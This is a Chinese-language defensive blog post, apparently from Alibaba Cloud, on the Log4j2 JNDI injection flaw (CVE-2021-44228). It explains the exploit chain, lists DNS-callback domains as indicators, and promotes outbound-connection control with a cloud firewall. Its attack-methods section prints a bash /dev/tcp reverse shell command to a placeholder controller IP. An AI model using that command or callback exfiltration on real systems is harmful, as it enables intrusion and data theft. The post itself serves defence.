天天看點

斬斷Log4j2 RCE漏洞驗證和利用鍊,主動外聯管控你值得擁有01 概述02 Log4j漏洞常見驗證利用方式03 Log4j漏洞指令執行利用原理04 防護難點05 安全建議06 相關IOC07 相關連結

01 概述

近日,國家資訊安全漏洞共享平台(CNVD)收錄了Apache Log4j2遠端代碼執行漏洞(CNVD-2021-95914/CVE-2021-44228)。攻擊者利用該漏洞,可在未授權的情況下遠端執行代碼。目前,漏洞利用細節已公開,Apache官方已釋出更新檔修複該漏洞。

Apache Log4j2是一款優秀的Java日志架構;由于該架構流行度高,且漏洞利用門檻低,導緻該漏洞影響範圍極廣,危害巨大。目前阿裡雲安全團隊已觀測到多種形式的大規模掃描、在野利用和繞過,并且已有蠕蟲僵屍網絡整合該漏洞利用,用于傳播。

本文将介紹Apache Log4j2遠端代碼執行漏洞常見的驗證、利用方式及其原理,并給出基于外聯管控的防護方案。

02 Log4j漏洞常見驗證利用方式

每當一個影響面巨大的漏洞利用方式被公開,聞風而動的黑客攻擊者們便會對網際網路上開放的服務發起大規模掃描,從中發現存在漏洞的資産,然後他們就能夠以漏洞利用作為突破入口的武器,在這些資産上執行任意指令,達到資源劫持、資料拖取、後門留存等不可告人的目的。

要保護企業機關的資産服務免受黑客攻擊,我們首先要明白黑客是如何驗證和利用這一漏洞的。

根據阿裡雲安全團隊的研究和監測,Log4j遠端指令執行漏洞常見的驗證和利用方式主要有如下幾類:

反連平台

反連平台常用于進行漏洞探測,包括但不限于SSRF、XSS、SQL盲注等無回顯漏洞,對于RCE(遠端指令執行)漏洞的探測同樣适用。在一些攻擊手法中,将資訊直接回傳會導緻payload顯著增長,更容易觸發安全告警和攔截;而使用反連平台,則可以在較短的payload中達到漏洞探測和回傳資訊的目的,并繞過大多數的安全機制。

這類反連平台使用不同的應用協定,目前市面上主流為DNS反連平台和HTTP反連平台。其中DNS反連平台利用了DNS請求會留下日志記錄的原理,而使用反連平台進行探測也非常簡單。

以公開的DNS反連平台dnslog.cn為例,隻需要向反連平台請求擷取一個子域名(如xxxxxx.dnslog.cn),對該子域名發起域名解析,而後反連平台便會記錄下相應的資訊;在需要擷取特定資訊的場景裡,也可以将需要擷取的資訊拼接在三級或更高的子域名中,進而達到敏感資訊外帶的目的。

斬斷Log4j2 RCE漏洞驗證和利用鍊,主動外聯管控你值得擁有01 概述02 Log4j漏洞常見驗證利用方式03 Log4j漏洞指令執行利用原理04 防護難點05 安全建議06 相關IOC07 相關連結

極低的使用門檻,使得反連平台在漏洞驗證領域被大量使用。本次Apache Log4j遠端指令執行漏洞公開後,由于存在漏洞的服務數量巨大,并且衆多黑客攻擊者、安全測試人員紛紛采用dnslog.cn這一公開反連平台作為驗證工具,導緻該網站一度出現當機現象。

除了上述dnslog.cn網站之外,公開且知名的DNS反連平台包括但不限于ceye.io, burpcollaborator.net等。

此外,攻擊者也可能使用各種工具,在任意域名或IP上搭建自己的私有反連平台。

反彈shell

反彈shell,即當被攻擊的伺服器是Linux伺服器時,攻擊者在控制端伺服器上監聽某端口,并操控被攻擊的受控端伺服器發起主動外聯,同時将指令行輸入和輸出都傳到該監聽端口。

相比于使用反連平台隻能達到驗證漏洞以及傳輸少量資訊的目的,反彈shell使得攻擊者能夠擷取一個完整的shell,進而進行更多種類的操作。

需要“反彈”shell的包括但不限于以下場景:1)受控端位于内網,無法正向連接配接 2)受控端存在防火牆或其他管控機制,外到内的通路受限 3)受控端IP動态變化。

常見的反彈shell指令如下:

bash -i >& /dev/tcp/x.x.x.x(控制端ip)/port_number(控制端端口) 0>&1           

其中-i參數表示互動式shell,0>&1表示把受害機的輸入和輸出都重定向到控制端上;/dev/tcp本質是個Linux“裝置”,/dev/tcp/ip/port則是一個特殊的檔案,打開這個檔案相當于發起socket調用,對其進行讀寫則相當于使用這個socket連接配接傳輸資料。除bash外,也可使用nc, exec等指令進行反彈shell。

下圖為此次Log4j漏洞事件中阿裡雲防火牆安全團隊捕獲到的反彈Shell攻擊流量:

斬斷Log4j2 RCE漏洞驗證和利用鍊,主動外聯管控你值得擁有01 概述02 Log4j漏洞常見驗證利用方式03 Log4j漏洞指令執行利用原理04 防護難點05 安全建議06 相關IOC07 相關連結

後門植入

上述兩種方法(反連平台和反彈shell)都屬于快速驗證和短期利用的手段,一旦漏洞修複或啟用有效的安全措施,則攻擊者無法再次利用。

而後門植入則可能導緻攻擊者在受害目标系統中長期潛伏,尤其是rootkit後門具有極高隐蔽性,即使後續甲方完成了漏洞修複或啟用安全措施,也難以發現和清除後門,或阻攔攻擊者使用已存在系統中的後門程式進行指令下發等惡意行為。

功能豐富、隐蔽性強的後門經常為編譯後的二進制檔案,有一定體積,是以批量掃描攻擊的場景下,攻擊者通常傾向于将後門檔案放置在公網域名或IP上,操控受害伺服器去通路和下載下傳運作。

03 Log4j漏洞指令執行利用原理

該漏洞的成因是Log4j中,日志内容作為LogEvent類型對象的message參數傳入到MessagePatternConverter類的format()方法,該方法則會對"${"後的内容進行遞歸解析。

經過一連串調用後,Interpolator類的lookup()方法對遞歸解析的内容按PREFIX\_SEPARATOR(即冒号)分割,第一部分作為prefix;當prefix為jndi時便會調用JndiLookup.lookup(),并進一步調用JndiManager.lookup()發起網絡請求。

綜上,該漏洞的本質是一個JNDI注入漏洞。這裡用到的JNDI(Java Naming and Directory Interface,Java命名和目錄接口)是Java的一個目錄服務應用程式接口(API),它提供一個目錄系統,并将服務名稱與對象關聯起來,進而使得開發人員在開發過程中可以使用名稱來通路對象。

命名/目錄服務隻要實作SPI都可以通過JNDI通路:如LDAP,RMI,CORBA,DNS等。

斬斷Log4j2 RCE漏洞驗證和利用鍊,主動外聯管控你值得擁有01 概述02 Log4j漏洞常見驗證利用方式03 Log4j漏洞指令執行利用原理04 防護難點05 安全建議06 相關IOC07 相關連結

在JNDI注入攻擊中,由于請求對象的位址可控,攻擊者可将該位址指向存放惡意類的LDAP/RMI/CORBA伺服器,向受害伺服器傳回一個javax.naming.Reference類型的惡意對象。

該類型對象的構造方法為

Reference(String className, String factory, String factoryLocation)           

其中className為要加載的類名,factory為class中需要執行個體化的類的名稱,factoryLocation則是class存放的位置。

受攻擊的伺服器擷取并解析該Reference類型的惡意對象後,會先嘗試從本地classpath中加載名為className的類,如不存在則從factoryLocation指定的遠端"codebase"位址加載惡意的class檔案,執行個體化并預設調用靜态方法,至此攻擊者的惡意代碼便得以在受害主機上執行。

如果上述流程看起來較為抽象,我們再來看一下如下的攻擊步驟示意圖:

斬斷Log4j2 RCE漏洞驗證和利用鍊,主動外聯管控你值得擁有01 概述02 Log4j漏洞常見驗證利用方式03 Log4j漏洞指令執行利用原理04 防護難點05 安全建議06 相關IOC07 相關連結

1)黑客攻擊者建部署立帶有惡意載荷的LADP/RMI伺服器

2)黑客攻擊者向使用Log4j2元件的伺服器發送帶有惡意的JNDI payload的攻擊請求

3)受攻擊伺服器中的使用Log4j2元件的服務調用lookup方法,向惡意LADP/RMI伺服器發起請求,并從響應中擷取傳回的惡意Reference對象

4)伺服器解析該惡意Reference對象,并進一步基于Reference中指定的codebase位址,加載并執行惡意class

斬斷Log4j2 RCE漏洞驗證和利用鍊,主動外聯管控你值得擁有01 概述02 Log4j漏洞常見驗證利用方式03 Log4j漏洞指令執行利用原理04 防護難點05 安全建議06 相關IOC07 相關連結

實作指令執行後,攻擊者将得以操控受害伺服器去進行各種操作,包括但不限于前文提到的反連驗證、外帶敏感資訊、反彈shell、後門植入等。

04 防護難點

漏洞入口多樣化

基于HTTP/HTTPS的各種web服務是Log4j漏洞利用的重要入口,但絕不是唯一入口;因為隻要任意輸入片段到達應用程式并通過Log4j2進行處理,就可能觸發遠端指令執行——即入口可以是任何協定,包括但不限于各種TCP、UDP協定應用。

如果在防禦時隻做入方向Web側防護,很難徹底防禦這一攻擊。

Payload變形多

由于該漏洞相關源碼存在遞歸解析,導緻利用方式非常靈活,payload變化多端,通過流量檢測/攔截等正面對抗手段存在較大的被繞過可能性。

此外攻擊payload并非一定通過明文方式到達Log4j2元件處理,中間處理階段可能通過編碼、加密等各個階段,是以僅通過${、jndi、rmi等字段進行攔截是不全面的,還可能造成大量的誤報、誤攔截。

多種協定導緻資訊洩露

JNDI支援LDAP、DNS、NIS、RMI、CORBA等多種協定,即使并非都能用于指令執行,但資訊可以通過上述幾種協定中任何一種,結合dnslog等外流出内網,是以僅針對LDAP、RMI字首進行檢測和攔截很難防禦資訊洩露、木馬後門等的影響。

05 安全建議

主動外聯管控

從以上分析不難看出,在攻擊者發送請求之後,指令執行階段之前,受害伺服器需要向攻擊者所控制的帶惡意載荷的LDAP/RMI伺服器發起至少兩次請求(請求Reference、加載class);指令執行階段當中,如果反連、反彈shell、後門植入等,則需要向DNS反連平台、黑客控制的伺服器等發起外聯。

也就是說在漏洞攻擊全程中,無論是在漏洞利用階段,還是後續要進行驗證和進一步的控制利用,都涉及多次受害伺服器的主動外聯行為。

是以我們推薦通過主動外聯管控,斬斷該漏洞的驗證和利用鍊,切實保障客戶安全。

雲防火牆全鍊路防禦

如下圖所示,雲防火牆在漏洞利用階段、驗證和進一步的控制階段,都能夠對攻擊者的行為進行有效攔截,達到全鍊路防禦的效果:

斬斷Log4j2 RCE漏洞驗證和利用鍊,主動外聯管控你值得擁有01 概述02 Log4j漏洞常見驗證利用方式03 Log4j漏洞指令執行利用原理04 防護難點05 安全建議06 相關IOC07 相關連結

IPS入侵防禦引擎

雲防火牆IPS入侵防禦引擎支援多種攻擊手法的檢測和攔截,包括但不限于“下載下傳可疑的java class”:

斬斷Log4j2 RCE漏洞驗證和利用鍊,主動外聯管控你值得擁有01 概述02 Log4j漏洞常見驗證利用方式03 Log4j漏洞指令執行利用原理04 防護難點05 安全建議06 相關IOC07 相關連結

“惡意LDAP外聯”:

斬斷Log4j2 RCE漏洞驗證和利用鍊,主動外聯管控你值得擁有01 概述02 Log4j漏洞常見驗證利用方式03 Log4j漏洞指令執行利用原理04 防護難點05 安全建議06 相關IOC07 相關連結

ACL主動外聯管控

雲防火牆支援配置應用粒度的ACL政策,可以通過配置内到外的管控政策,放行到特定目的的通路:

斬斷Log4j2 RCE漏洞驗證和利用鍊,主動外聯管控你值得擁有01 概述02 Log4j漏洞常見驗證利用方式03 Log4j漏洞指令執行利用原理04 防護難點05 安全建議06 相關IOC07 相關連結

此外雲防火牆的智能政策功能,通過智能學習客戶正常的外聯流量生成白基線,為客戶推薦放行已知正常的域名和IP的流量。

客戶可以通過下發智能政策、配置外聯白名單,僅放行通路外部已知正常的域名和IP的流量,對其他主動外聯流量一概拒絕,這樣做能夠有效避免因受JNDI注入攻擊,導緻加載執行來自惡意域名和IP的class檔案而産生指令執行,也能有效避免後續利用行為。

主動外聯管控智能政策具體使用方法:

1)在雲防火牆控制台左側菜單選擇“通路控制”,然後在右側tab選擇“内到外”,點選“智能政策”按鈕:

斬斷Log4j2 RCE漏洞驗證和利用鍊,主動外聯管控你值得擁有01 概述02 Log4j漏洞常見驗證利用方式03 Log4j漏洞指令執行利用原理04 防護難點05 安全建議06 相關IOC07 相關連結

2)在右側彈出的智能政策浮框中,選擇要下發的智能政策,點選“下發已選中政策”。

優先級顯示為“1”的放行政策會被添加到最前(即ACL政策優先級最高的位置),優先級顯示為“-1”的觀察政策會被添加到最後,整體符合“放行政策在前,觀察/阻斷政策在後”的原則。

這裡的目的域名/IP都是通過智能學習使用者曆史外聯流量基線,生成的推薦客戶放行的、提供正常服務的外部域名和IP,可以放心下發。

斬斷Log4j2 RCE漏洞驗證和利用鍊,主動外聯管控你值得擁有01 概述02 Log4j漏洞常見驗證利用方式03 Log4j漏洞指令執行利用原理04 防護難點05 安全建議06 相關IOC07 相關連結

3)下發政策一段時間(如一周)後,檢視觀察政策命中情況,如果無業務需要的流量命中該政策,則點選該條政策的“編輯”按鈕:

斬斷Log4j2 RCE漏洞驗證和利用鍊,主動外聯管控你值得擁有01 概述02 Log4j漏洞常見驗證利用方式03 Log4j漏洞指令執行利用原理04 防護難點05 安全建議06 相關IOC07 相關連結

并在彈出的對話框中将該政策對應的動作改為“攔截”:

斬斷Log4j2 RCE漏洞驗證和利用鍊,主動外聯管控你值得擁有01 概述02 Log4j漏洞常見驗證利用方式03 Log4j漏洞指令執行利用原理04 防護難點05 安全建議06 相關IOC07 相關連結

4)此時進行Log4j RCE漏洞利用測試,已無法彈回shell,在向惡意伺服器請求Reference的階段就已被攔截:

斬斷Log4j2 RCE漏洞驗證和利用鍊,主動外聯管控你值得擁有01 概述02 Log4j漏洞常見驗證利用方式03 Log4j漏洞指令執行利用原理04 防護難點05 安全建議06 相關IOC07 相關連結
斬斷Log4j2 RCE漏洞驗證和利用鍊,主動外聯管控你值得擁有01 概述02 Log4j漏洞常見驗證利用方式03 Log4j漏洞指令執行利用原理04 防護難點05 安全建議06 相關IOC07 相關連結

DNS防火牆

DNS防火牆是将DNS技術和安全威脅防護庫相結合,對域名請求進行威脅判斷,選擇性地對正常域名請求進行解析,阻止惡意域名解析和外聯,進而保護企業内網安全。

在Log4j2 RCE漏洞事件中,DNS防火牆能夠阻止通過DNS資訊外帶造成的資料洩露。

目前雲防火牆的DNS防火牆功能處于邀測階段,試用僅面向企業認證的使用者提供,目前在控制台送出申請後可以申請試用。

06 相關IOC

常見dnslog平台

burpcollaborator.net

ceye.io

dnslog.cn

dnslog.link

dnslog.cc

dnsxx.top

07 相關連結

[1]關于Apache Log4j2存在遠端代碼執行漏洞的安全公告

https://www.cnvd.org.cn/webinfo/show/7116

[2] Apache Log4j2 丨阿裡雲「流量+應用+主機」三重檢測防護指南

https://mp.weixin.qq.com/s/GLwjCK3t-6vedUzyCO2YLQ

[3] 【漏洞預警】Apache Log4j 遠端代碼執行漏洞

https://mp.weixin.qq.com/s/9f1cUsc1FPIhKkl1Xe1Qvw

[4] 【漏洞預警】Apache Log4j2 遠端代碼執行漏洞二次更新通告

https://mp.weixin.qq.com/s/AuBchaUvFw2pisVw6rNX5

[5] 【虛拟更新檔】Apache Log4j2遠端代碼執行漏洞(CVE-2021-44228)

https://help.aliyun.com/document

\_detail/366944.htm

若有收獲,就點個贊吧